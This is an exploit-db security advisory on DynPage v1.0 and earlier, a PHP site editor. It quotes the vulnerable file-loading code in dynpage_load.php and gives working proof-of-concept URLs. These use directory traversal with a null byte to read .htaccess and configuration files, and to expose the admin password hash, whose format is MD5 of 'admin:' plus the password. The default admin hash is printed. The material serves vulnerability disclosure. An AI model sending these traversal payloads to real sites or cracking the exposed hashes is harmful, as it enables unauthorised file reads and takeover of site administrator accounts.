67 lines
No EOL
2.1 KiB
Text
67 lines
No EOL
2.1 KiB
Text
'''
|
|
__ __ ____ _ _ ____
|
|
| \/ |/ __ \ /\ | | | | _ \
|
|
| \ / | | | | / \ | | | | |_) |
|
|
| |\/| | | | |/ /\ \| | | | _ <
|
|
| | | | |__| / ____ \ |__| | |_) |
|
|
|_| |_|\____/_/ \_\____/|____/
|
|
|
|
http://www.exploit-db.com/moaub-7-dynpage-multiple-remote-vulnerabilities/
|
|
'''
|
|
|
|
- Title : DynPage Multiple Remote Vulnerabilities.
|
|
- Affected Version : <= v1.0
|
|
- Vendor Site : http://www.dynpage.net
|
|
|
|
- Discovery : Abysssec.com
|
|
|
|
|
|
- Description :
|
|
===============
|
|
DynPage allows you to edit Websites online and make pieces of contents editable with a comfortable editor.
|
|
DynPage implements the CKeditor - one of the best Internet editors.
|
|
The integration of content into the HTML pages can be done with Ajax/Javascript or PHP - so you can also handle cross domain sites.
|
|
DynPage is written in PHP and does not require MySQL database. It's easy to install and to configurate.
|
|
|
|
- Vulnerabilities:
|
|
==================
|
|
1)Local File Disclosure:
|
|
---------------------
|
|
+Code:
|
|
/content/dynpage_load.php #[line(20-28)]:
|
|
|
|
$filename = $_GET["file"];
|
|
if (!is_dir ($filename) && file_exists ($filename)) {
|
|
|
|
$bytes = filesize ($filename);
|
|
$fh = fopen($filename, 'r');
|
|
print (fread ($fh, $bytes));
|
|
fclose ($fh);
|
|
|
|
}
|
|
|
|
|
|
+POC:
|
|
http://www.Site.com/dynpage/content/dynpage_load.php?file=../.htaccess%00
|
|
|
|
|
|
2)Admin hash Disclosure:
|
|
---------------------------------
|
|
The Admin password hash format: MD5('admin:'+$password)
|
|
then password's salt is "admin:".
|
|
|
|
2-a)Default password is admin,that stored in config_global.inc.php(line 41-42 )
|
|
// Default login admin
|
|
"default_login_hash" => "d2abaa37a7c3db1137d385e1d8c15fd2",
|
|
+POC:for see this hash:
|
|
http://www.Site.com/dynpage/content/dynpage_load.php?file=../config_global.inc.php%00
|
|
|
|
2-b)the hash password stored as SESSION in /conf/init.inc.php.
|
|
<?php
|
|
// This file is generated automatically!
|
|
// No not modify manually!
|
|
$_SESSION['DYNPAGE_CONF_VAR_ALL']['login_hash']="2d08086927f4d87a31154aaf0ba2e067";
|
|
$_SESSION['DYNPAGE_CONF_VAR_ALL']['admin_email']="a@a.com";
|
|
?>
|
|
+POC:for see this hash:
|
|
http://www.Site.com/dynpage/content/dynpage_load.php?file=../conf/init.inc.php%00 |